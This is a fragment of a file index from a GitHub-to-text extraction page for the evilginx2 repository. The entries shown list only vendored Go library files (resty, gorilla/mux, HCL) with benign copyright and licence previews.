    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n// resty source code and usage is gov"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/request.go",
    "chars": 33576,
    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n// resty source code and usage is gov"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/response.go",
    "chars": 5253,
    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n// resty source code and usage is gov"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/resty.go",
    "chars": 1116,
    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n// resty source code and usage is gov"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/retry.go",
    "chars": 5958,
    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n// resty source code and usage is gov"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/trace.go",
    "chars": 3777,
    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n// resty source code and usage is gov"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/transport.go",
    "chars": 895,
    "preview": "//go:build go1.13\n// +build go1.13\n\n// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n/"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/transport112.go",
    "chars": 856,
    "preview": "//go:build !go1.13\n// +build !go1.13\n\n// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved."
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/transport_js.go",
    "chars": 364,
    "preview": "// Copyright 2021 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/transport_other.go",
    "chars": 384,
    "preview": "// Copyright 2021 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/util.go",
    "chars": 9126,
    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n// resty source code and usage is gov"
  },
  {
    "path": "vendor/github.com/gorilla/mux/AUTHORS",
    "chars": 276,
    "preview": "# This is the official list of gorilla/mux authors for copyright purposes.\n#\n# Please keep the list sorted.\n\nGoogle LLC "
  },
  {
    "path": "vendor/github.com/gorilla/mux/LICENSE",
    "chars": 1486,
    "preview": "Copyright (c) 2012-2018 The Gorilla Authors. All rights reserved.\n\nRedistribution and use in source and binary forms, wi"
  },
  {
    "path": "vendor/github.com/gorilla/mux/README.md",
    "chars": 22593,
    "preview": "# gorilla/mux\n\n[![GoDoc](https://godoc.org/github.com/gorilla/mux?status.svg)](https://godoc.org/github.com/gorilla/mux)"
  },
  {
    "path": "vendor/github.com/gorilla/mux/context.go",
    "chars": 315,
    "preview": "package mux\n\nimport (\n\t\"context\"\n\t\"net/http\"\n)\n\nfunc contextGet(r *http.Request, key interface{}) interface{} {\n\treturn "
  },
  {
    "path": "vendor/github.com/gorilla/mux/doc.go",
    "chars": 11227,
    "preview": "// Copyright 2012 The Gorilla Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// lic"
  },
  {
    "path": "vendor/github.com/gorilla/mux/middleware.go",
    "chars": 2708,
    "preview": "package mux\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n)\n\n// MiddlewareFunc is a function which receives an http.Handler and retur"
  },
  {
    "path": "vendor/github.com/gorilla/mux/mux.go",
    "chars": 17669,
    "preview": "// Copyright 2012 The Gorilla Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// lic"
  },
  {
    "path": "vendor/github.com/gorilla/mux/regexp.go",
    "chars": 9466,
    "preview": "// Copyright 2012 The Gorilla Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// lic"
  },
  {
    "path": "vendor/github.com/gorilla/mux/route.go",
    "chars": 20584,
    "preview": "// Copyright 2012 The Gorilla Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// lic"
  },
  {
    "path": "vendor/github.com/gorilla/mux/test_helpers.go",
    "chars": 758,
    "preview": "// Copyright 2012 The Gorilla Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// lic"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/.gitignore",
    "chars": 66,
    "preview": "y.output\n\n# ignore intellij files\n.idea\n*.iml\n*.ipr\n*.iws\n\n*.test\n"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/.travis.yml",
    "chars": 98,
    "preview": "sudo: false\n\nlanguage: go\n\ngo:\n  - 1.x\n  - tip\n\nbranches:\n  only:\n    - master\n\nscript: make test\n"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/LICENSE",
    "chars": 15885,
    "preview": "Mozilla Public License, version 2.0\n\n1. Definitions\n\n1.1. “Contributor”\n\n     means each individual or legal entity that"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/Makefile",
    "chars": 246,
    "preview": "TEST?=./...\n\ndefault: test\n\nfmt: generate\n\tgo fmt ./...\n\ntest: generate\n\tgo get -t ./...\n\tgo test $(TEST) $(TESTARGS)\n\ng"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/README.md",
    "chars": 4278,
    "preview": "# HCL\n\n[![GoDoc](https://godoc.org/github.com/hashicorp/hcl?status.png)](https://godoc.org/github.com/hashicorp/hcl) [!["
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/appveyor.yml",
    "chars": 319,
    "preview": "version: \"build-{branch}-{build}\"\nimage: Visual Studio 2015\nclone_folder: c:\\gopath\\src\\github.com\\hashicorp\\hcl\nenviron"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/decoder.go",
    "chars": 18320,
    "preview": "package hcl\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/hashicorp/hcl/hcl/ast\"\n\t\"g"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/hcl/ast/ast.go",
    "chars": 5501,
    "preview": "// Package ast declares the types used to represent syntax trees for HCL\n// (HashiCorp Configuration Language)\npackage a"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/hcl/ast/walk.go",
    "chars": 1275,
    "preview": "package ast\n\nimport \"fmt\"\n\n// WalkFunc describes a function to be called for each node during a Walk. The\n// returned no"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/hcl/parser/error.go",
    "chars": 266,
    "preview": "package parser\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/hashicorp/hcl/hcl/token\"\n)\n\n// PosError is a parse error that contains a p"
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/hcl/parser/parser.go",
    "chars": 12875,
    "preview": "// Package parser implements a parser for HCL (HashiCorp Configuration\n// Language)\npackage parser\n\nimport (\n\t\"bytes\"\n\t\""
  },
  {
    "path": "vendor/github.com/hashicorp/hcl/hcl/printer/nodes.go",
    "chars": 19742,
    "preview": "package printer\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"sort\"\n\n\t\"github.com/hashicorp/hcl/hcl/ast\"\n\t\"github.com/hashicorp/hcl/hcl/to"
  }
]

// ... and 1118 more files (download for full content)

About this extraction

This page contains the full source code of the kgretzky/evilginx2 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 1318 files (16.9 MB), approximately 4.1M tokens, and a symbol index with 103579 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!